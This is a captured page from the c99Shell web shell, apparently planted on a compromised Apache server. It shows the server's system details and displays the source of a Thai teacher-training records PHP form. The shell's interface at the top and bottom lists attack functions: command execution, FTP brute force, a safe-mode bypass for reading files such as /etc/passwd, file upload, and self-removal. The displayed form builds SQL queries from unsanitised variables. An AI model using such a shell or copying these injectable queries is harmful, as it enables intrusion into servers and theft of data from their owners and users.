!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Dev/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddHisGroup.php (27.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../include/Function.php" );
	    require_once( "../include/FunctionDB.php" );
		/**  Create Database Object  */
		$dbObj = new DBConn;

		//=== SESSION
		$Username = $valid_user; 
		
		
		/**  Config Table for This Page  */
		$myTable1 = "personal_tb";
		$myTable2 = "formaoffice";
		$myTable3 = "project_tb";
		$myTable4 = "training_tb";
		$myTable5 = "budget_year_tb";
		
		/**  Table  -->  personal_tb  */
		$query = " SELECT *  FROM $myTable1  WHERE  Teacher_code='$Teacher_code' ";
		$result = $dbObj->execQuery($query);
		$rss = $dbObj->fetchArray($result);
			$Teacher_code = $rss['Teacher_code'];
		
		/**  Table  -->  tech_plan_tb  */
		$query1 = " SELECT *  FROM $myTable2  WHERE   codeId='$codeId'    ";
		$result1 = $dbObj->execQuery($query1);
		$rs1 = $dbObj->fetchArray($result1);
		
		/**  Table  -->  techplan_method_tb  */
		$query2 = " SELECT *  FROM $myTable3  WHERE   codeId='$codeId'     ";
		$result2 = $dbObj->execQuery($query2);
		$rs2 = $dbObj->fetchArray($result2);
		
		/**  Table  -->  tech_spec_tb  */
		$query3 = " SELECT *  FROM $myTable4  WHERE  Training_code='$Training_code'  AND  Teacher_code='$Teacher_code'    ";
		$result3 = $dbObj->execQuery($query3);
		$rs3 = $dbObj->fetchArray($result3);
		
		$query = " SELECT *  FROM  $myTable5      ";
		$result5 = $dbObj->execQuery($query);
		$rs5 = $dbObj->fetchArray($result5);
		
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
	if( ( formObj.Training_name.value == "" ) && ( formObj.Day.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Day.focus();	return false; }
	 if(formObj.Training_name.value == "" ) { alert("กรุณากรอก  ชื่อเรื่อง"); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false;} 
	 if(formObj.Day.value == "" ) { alert("กรุณากรอก  จำนวนวัน"); formObj.Day.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false;} 
	 if(formObj.Organiz.value == "" ) { alert("กรุณากรอก  หน่วยงานที่จัด"); formObj.Organiz.style.backgroundColor='#F1F9FC'; formObj.Organiz.focus(); return false;} 
	  if(formObj.CNEU.value == "" ) { alert("กรุณากรอก  สถานที่"); formObj.CNEU.style.backgroundColor='#F1F9FC'; formObj.CNEU.focus(); return false;} 
	else return true ;
}
</script>

<title>บักทึกข้อมูลการพัฒนารายกลุ่ม</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="form1" name="form1" method="post" action="InsertHisGroup.php" onSubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <span class="NOTE">บันทึกประวัติการพัฒนาตามรายกลุ่ม</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
        <?php

		?>
        <table width="773" cellpadding="0" cellspacing="0">
          <tr height="31">
            <td height="31" colspan="6" align="center" class="PATRON11">บันทึกข้อความ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" l="l">ส่วนราชการ <font size="2" face="Tahoma">
              <?php
				//$collegeCode =  $rss["collegeCode"];
				//$sql = "Select * From  college Where collegeStatus ='1'";
				$sql = "select * from dev_config";
				$result1 = mysql_query($sql) or die("Error".mysql_error());
				$rs2 = mysql_fetch_array($result1);
				echo "$rs2[longpre] $rs2[deptname]";
			  ?>
            </font></td>
          </tr>
          <tr>
            <td height="29" colspan="2" align="left">ที่ <font color="#0000FF" size="2" face="Tahoma">
              <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1[maNo];?>" size="15" />
            </font></td>
            <td width="131" height="29" align="left"><input name="codeId2" type="hidden" id="codeId" value="<? echo $rs1["codeId"]?>" />
              <input name="Year_std" type="hidden" id="Year_std" value="<? echo $rs1["Year_std"]?>" /></td>
            <td height="29" align="left">&nbsp;</td>
            <td height="29" colspan="2" align="center">
				<script>DateInput('mDate', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script>
			</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">เรื่อง&nbsp;&nbsp;<font color="#0000FF" size="2" face="Tahoma">
              <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="รายงานผลการอบรม/ประชุม/สัมนา" size="25" />
            </font></td>
            <td width="72"></td>
            <td width="214"></td>
            <td width="181"></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
              <?php
				//$collegeCode =  $rss["collegeCode"];
				//$sql = "Select * From  college Where collegeStatus ='1'";
				$sql = "select * from dev_config";
				$result1 = mysql_query($sql) or die("Error".mysql_error());
				$rs2 = mysql_fetch_array($result1);
				echo "$rs2[longpre] $rs2[deptname]";
			  ?>
            </font></td>
            <td></td>
          </tr>
          <tr height="29">
            <td width="148" height="25"></td>
            <td colspan="5" align="left">ตามคำสั่ง/หนังสือที่</a>
              <input name="No_in" type="text" id="No_in" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? echo $rs3[No_in];?>" />
              </a> ลงวันที่</a>
              <input name="Dated" type="text" id="Dated" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? echo $rs3[Dated];?>" />
              </a></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">เข้ารับการอบรม/ประชุม/สัมนา เรื่อง</a>
              <input name="cname" type="text" id="cname" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs3['Training_name'];?>" size="75" />
              <input name="orders" type="checkbox" id="orders" value="Y" />
              <a>นับหลักสูตร </a></a></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
				<table>
					<tr>
						<td>ระหว่างวันที่&nbsp;</td>
						<td><script>DateInput('mDate1', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script></td>
						<td>&nbsp;ถึงวันที่&nbsp;</td>
						<td><script>DateInput('mDate2', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script></td>
						<td>(ไม่รวมวันเดินทาง)</td>
					</tr>
				</table>
			</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6"> จำนวนชั่วโมง <a>
              <input name="daycount" type="text" id="daycount" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"  value=" <? echo $rs3['daycount'] ;?>" size="1" maxlength="5" />
              </a>ปีงบประมาณ
              <input name="Year_std" type="text" id="Year_std" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed"   value="<? echo $rs5['Budget_year'] ;?>" size="2" maxlength="4" />
              ณ สถานที่จัด
              <input name="traincenter" type="text" id="traincenter" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs3[traincenter];?>" size="30" />
              </a>จังหวัด </a>
              <select name="provcode" id="provcode">
				<option value=""> --- เลือก --- </option>
                <?php
                       
                            	$strSQL = " SELECT * FROM   province      ";
                            	$result4 = mysql_query($strSQL);
                            	while( $rs4 = mysql_fetch_array($result4) ) {
							?>
                <option value="<?=$rs4['provinceId'];?>" <?php if( $rs4['provinceId']==$rs3['provinceId'] ) echo 'selected'; ?>>
                  <?=$rs4['provinceName'];?>
                  </option>
                <?php
                                } # while
                            ?>
              </select>
              </a></td>
          </tr>
          <tr height="31">
            <td height="29" colspan="6">ประเทศ
              <select name="countrycode" id="countrycode">
                <option value=""></option>
                <?php
                            
                            	$sql = " SELECT * FROM  dev_ccountry   ORDER  BY   countryname   ASC    ";
                            	$result5 = mysql_query($sql);
                            	while( $rs5 = mysql_fetch_array($result5) ) {
									
							?>
                <option value="<?=$rs5['countrycode'];?>" <?php if( $rs5['countrycode']==$rs3['countrycode']='140' ) echo 'selected'; ?>>
                  <?=$rs5['countryname'];?>
                  </option>
                <?php
				     } # while
			           	mysql_free_result($result1);
                              
                            ?>
              </select>
              หน่วยงานผู้จัด
              <input name="univName" type="text" id="univName" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs3[univName];?>" size="40" readonly="readonly" />
              <input name="univId" type="hidden" id="univId" value="<? echo $rs3['univId'] ; ?>" />
              <a href="javascript:;" onclick="MM_openBrWindow('showUniv.php','Detail','scrollbars=yes,width=550,height=350')"><img src="../images/icons/search.gif" alt="เลือกหน่วยงาน" width="14" height="16" border="0" align="absmiddle" /></a></font></strong></font> หน่วยคะแนน
              <input name="unit" type="text" id="unit" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs3[unit];?>" size="4" />
              &nbsp;</a></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">จำนวนเงินที่ใช้ในการพัฒนาตามแหล่งเงิน</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6"> เงินงบประมาณ
              <input name="moneybudget1" type="text" id="moneybudget1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs3['moneybudget1'];?>" size="6"  onkeypress="checkNumeric()" onkeyup="checkBudget()" />
              บาท  &nbsp;&nbsp;เงินรายได้
              <input name="moneybudget2" type="text" id="moneybudget2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs3['moneybudget2'];?>" size="6"  onkeypress="checkNumeric()" onkeyup="checkBudget()" />
              บาท 
              
              เงินที่จ่ายเอง
              <input name="moneybudget3" type="text" id="moneybudget3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs3['moneybudget3'];?>" size="6"  onkeypress="checkNumeric()" onkeyup="checkBudget()" />
              บาท 
              
              เงินสนับสนุนอื่นๆ
              <input name="moneybudget4" type="text" id="moneybudget4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs3['moneybudget4'];?>" size="6"  onkeypress="checkNumeric()" onkeyup="checkBudget()" />
              บาท</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">มีรายละเอียดดังนี้</a></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">๑. ประเภทโครงการ <font size="2" face="Tahoma">
              <input type="radio" name="Training_std" <?php if (!(strcmp("$rs3[Training_std]","Y"))) { echo "checked"; } ?> value="Y" />
              พัฒนาตามนโยบาย
              <input type="radio" name="Training_std" <?php if (!(strcmp("$rs3[Training_std]","N"))) { echo "checked"; } ?> value="N" />
              พัฒนาตามความต้องการของตนเอง (สมรรถนะ)</font></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">๒. วัตถุประสงค์ของการอบรม/ประชุม/สัมนา
              <input name="moneycenter" type="text" id="moneycenter" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php echo $rs3[moneycenter];?>" size="80" /></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">๓. เนื้อหาสาระด้าน
              <label>
                <input name="Content" type="radio" id="Content"<?php if (!(strcmp("$rs3[Content]","401"))) { echo "checked"; } ?> value="401" />
                วิชาการ
                <input name="Content" type="radio" id="Content" <?php if (!(strcmp("$rs3[Content]","402"))) { echo "checked"; } ?> value="402" />
                บริหาร
                <input name="Content" type="radio" id="Content"<?php if (!(strcmp("$rs3[Content]","403"))) { echo "checked"; } ?> value="403" />
                วิชาชีพเฉพาะ
                <input name="Content" type="radio" id="Content"<?php if (!(strcmp("$rs3[Content]","404"))) { echo "checked"; } ?> value="404" />
                ทัศนคติ
                <input name="Content" type="radio" id="Content2"<?php if (!(strcmp("$rs3[Content]","405"))) { echo "checked"; } ?> value="405" />
                การเรียนการสอน
                <input name="Content" type="radio" id="Content3"<?php if (!(strcmp("$rs3[Content]","406"))) { echo "checked"; } ?> value="406" />
                คุณธรรมจริยธรรม
                <input name="Content" type="radio" id="Content4"<?php if (!(strcmp("$rs3[Content]","407"))) { echo "checked"; } ?> value="407" />
                อื่นๆ </label></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6">๔. ประโยชน์ที่ได้รับ
              <input name="unitpoint" type="text" id="unitpoint" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  echo $rs3[unitpoint];?>" size="100" /></td>
          </tr>
          <tr height="31">
            <td height="16" colspan="6">&nbsp;</td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6"><table width="676" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td colspan="4" align="right">พัฒนาความรู้ความสามารถ : &nbsp;</td>
                <td scope="col"><input name="Skills" type="radio" id="Skills" <?php if (!(strcmp("$rs3[Skills]","501"))) { echo "checked"; } ?> value="501" />
                  ในการปฏิบัติงาน</td>
                <td scope="col"><input name="Skills" type="radio" id="Skills"<?php if (!(strcmp("$rs3[Skills]","502"))) { echo "checked"; } ?> value="502" />
                  ในเรื่องกฏหมายและระเบียบราชการ</td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <th scope="col">&nbsp;</th>
                <th scope="col">&nbsp;</th>
              </tr>
              <tr>
                <td colspan="4" align="right">พัฒนาสมรรถนะหลัก กพ. : &nbsp;</td>
                <td width="287" scope="col"><input name="cdevcode" type="radio" id="cdevcode"<?php if (!(strcmp("$rs3[cdevcode]","101"))) { echo "checked"; } ?> value="101" />
                  การมุ่งผลสัมฤทธิ์ </td>
                <td width="233" scope="col"><input name="cdevcode" type="radio" id="cdevcode" <?php if (!(strcmp("$rs3[cdevcode]","102"))) { echo "checked"; } ?> value="102" />
                  การบริการที่ดี </td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <td scope="col"><input name="cdevcode" type="radio" id="cdevcode" <?php if (!(strcmp("$rs3[cdevcode]","103"))) { echo "checked"; } ?> value="103" />
                  การสั่งสมความเชี่ยวชาญในงานอาชีพ</td>
                <td scope="col"><input name="cdevcode" type="radio" id="cdevcode"<?php if (!(strcmp("$rs3[cdevcode]","104"))) { echo "checked"; } ?> value="104" />
                  จริยธรรม</td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <td scope="col"><input name="cdevcode" type="radio" id="cdevcode"<?php if (!(strcmp("$rs3[cdevcode]","105"))) { echo "checked"; } ?> value="105" />
                  ความร่วมแรงร่วมใจ</td>
                <th scope="col">&nbsp;</th>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <th scope="col">&nbsp;</th>
                <th scope="col">&nbsp;</th>
              </tr>
              <tr>
                <td colspan="4" align="right">พัฒนาสมรรถนะองค์กร : &nbsp;</td>
                <td colspan="2" scope="col"><select name="Orgskills" id="Orgskills">
                  <option value=""> --- เลือก --- </option>
                  <?php
			  	$sql4 = " SELECT *  FROM   dev_cdev   Where   codeDv ='Func'  ORDER  BY cdevcode    ASC  ";
			  	$result4 = mysql_query($sql4);
			  	while( $rs4 = mysql_fetch_array($result4) ) {
				?>
                  <option value="<?=$rs4['cdevcode'];?>" <?php if( $rs4['cdevcode']==$rs3['cdevcode'] ) echo 'selected';?>>
                    <?=$rs4['cdevname'];?>
                    </option>
                  <?php
                } # while
			  	mysql_free_result($result1);
			  ?>
                </select>
                  </font></strong></font></td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <td scope="col">&nbsp;</td>
                <td scope="col">&nbsp;</td>
              </tr>
              <tr>
                <td colspan="4" align="right">พัฒนาสมรรถนะกลุ่มงาน : &nbsp;</td>
                <td colspan="2" scope="col"><select name="Groskills" id="Groskills">
                  <option value=""> --- เลือก --- </option>
                  <?php
			  	$sql4 = " SELECT *  FROM   dev_cdev   Where   codeDv ='Func'  ORDER  BY cdevcode    ASC  ";
			  	$result4 = mysql_query($sql4);
			  	while( $rs4 = mysql_fetch_array($result4) ) {
				?>
                  <option value="<?=$rs4['cdevcode'];?>" <?php if( $rs4['cdevcode']==$rs3['cdevcode'] ) echo 'selected';?>>
                    <?=$rs4['cdevname'];?>
                    </option>
                  <?php
                } # while
			  	mysql_free_result($result1);
			  ?>
                </select>
                  </th></td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <th scope="col">&nbsp;</th>
                <th scope="col">&nbsp;</th>
              </tr>
              <tr>
                <td colspan="4" align="right">พัฒนาสรรถนะในงาน : &nbsp;</td>
                <td colspan="2" scope="col"><select name="Perskills" id="Perskills">
                  <option value=""> --- เลือก --- </option>
                  <?php
			  	$sql4 = " SELECT *  FROM   dev_cdev   Where   codeDv ='Func'  ORDER  BY cdevcode    ASC  ";
			  	$result4 = mysql_query($sql4);
			  	while( $rs4 = mysql_fetch_array($result4) ) {
				?>
                  <option value="<?=$rs4['cdevcode'];?>" <?php if( $rs4['cdevcode']==$rs3['cdevcode'] ) echo 'selected';?>>
                    <?=$rs4['cdevname'];?>
                    </option>
                  <?php
                } # while
			  	mysql_free_result($result1);
			  ?>
                </select>
                  </th></td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <th scope="col">&nbsp;</th>
                <th scope="col">&nbsp;</th>
              </tr>
              <tr>
                <td colspan="4" align="right">พัฒนาทักษะด้าน : &nbsp;</td>
                <td scope="col"><input name="Hiskills" type="radio" id="Hiskills"<?php if (!(strcmp("$rs3[Hiskills]","601"))) { echo "checked"; } ?> value="601" />
                  การคิดคำนวณ </td>
                <td scope="col"><input name="Hiskills" type="radio" id="Hiskills"<?php if (!(strcmp("$rs3[Hiskills]","602"))) { echo "checked"; } ?> value="602" />
                  การใช้ภาษาอังกฤษ</td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <td scope="col"><input name="Hiskills" type="radio" id="Hiskills"<?php if (!(strcmp("$rs3[Hiskills]","603"))) { echo "checked"; } ?> value="603" />
                  การใช้คอมพิวเตอร์ </td>
                <td scope="col"><input name="Hiskills" type="radio" id="Hiskills"<?php if (!(strcmp("$rs3[Hiskills]","604"))) { echo "checked"; } ?> value="604" />
                  การจัดการข้อมูล</td>
              </tr>
              <tr>
                <th colspan="4">&nbsp;</th>
                <td scope="col">&nbsp;</td>
                <td scope="col">&nbsp;</td>
              </tr>
            </table></td>
          </tr>
          <tr height="29">
            <td height="16" colspan="6" align="left">&nbsp;&nbsp;&nbsp;&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="16" colspan="6" align="left">๕. การนำความรู้ที่ได้รับมาประยุกต์ใช้ในการเรียนการสอน/การวิจัย/การบริการวิชาการ/การปฏิบัติงาน</td>
          </tr>
          <tr height="29">
            <td height="16" colspan="6" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left"><table width="448" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th scope="col">&nbsp;</th>
                <th scope="col"><textarea name="Apply" cols="80" rows="5" id="Apply" class="d"><?=htmlspecialchars_decode( $rs3['Apply'] ) ;?>
                        </textarea></th>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
              </tr>
            </table></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">๖. ประเภทการพัฒนา <font size="2" face="Tahoma">
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","1"))) { echo "checked"; } ?> value="1" />
              การอบรม
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","2"))) { echo "checked"; } ?> value="2" />
              การศึกษาดูงาน
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","3"))) { echo "checked"; } ?> value="3" />
              ประชุม
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","4"))) { echo "checked"; } ?> value="4" />
              สัมมนา
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","7"))) { echo "checked"; } ?> value="7" />
              วิทยากร
              <input type="radio" name="Training_type" <?php if (!(strcmp("$rs3[Training_type]","6"))) { echo "checked"; } ?> value="6" />
              อื่นๆ </font></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">๗. สาขาวิชาการ
              <input name="traindept" type="text" id="traindept" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs3['traindept']; ?>" size="50" /></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">๘. รายละเอียดอื่นๆ </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
				๙.เลือกรายชื่อรายกลุ่ม&nbsp;&nbsp;
				<input type="button" name="add" value="เพิ่มรายชื่อ" style="cursor:pointer; height:22px;" onclick="addRow('addPerson')" title="คลิ๊กที่นี่เพื่อเพิ่มรายชื่อ">&nbsp;
				<input type="button" name="del" value=" ลบรายชื่อ " style="cursor:pointer; height:22px;" onclick="deleteRow('addPerson')" title="คลิ๊กที่นี่เพื่อลบรายชื่อที่เลือก">	
			</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">
				<table width="100%"border="0" cellpadding="0" cellspacing="1" bgcolor="#eeeeee" style="border:0px solid gray">
					<tr>
						<td align="left">
							<table id="addPerson">
								<tr>
									<td><input name="removePerson" type="checkbox"/></td>
									<td>							
										<select name="personList[]"/>
											<option value=""> ----- เลือก ----- </option>
											<?php
												$strSQL2 = "SELECT * FROM dev_hrperson Where StatusId ='1'";
												$result2 = mysql_query($strSQL2);
												while($rs2 = mysql_fetch_array($result2)){
													echo"<option value=\"$rs2[perid]\" >$rs2[fname] $rs2[lname]</option>\n";
												}								
											?>
										</select>
									</td>
								</tr>					
							</table>
						</td>                
					</tr>              
				</table>
			</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center">&nbsp;<BR><BR><BR><BR><BR><BR></td>
      </tr>
      <tr>
        <td align="center"><input type="hidden" name="codeId" value="<? echo $codeId; ?>&Teacher_code<? echo $Teacher_code;?>&Training_code=<? echo $Training_code;?>" />
         <span id="submitBtn"> <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" disbale  />
		&nbsp;
		<input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
		&nbsp;&nbsp;
		<input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlanList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
      </tr>
	  <tr>
        <td align="center"><BR><BR></td>
      </tr>
	  </form>
    </table>
   </fieldset>
   </td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result1);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--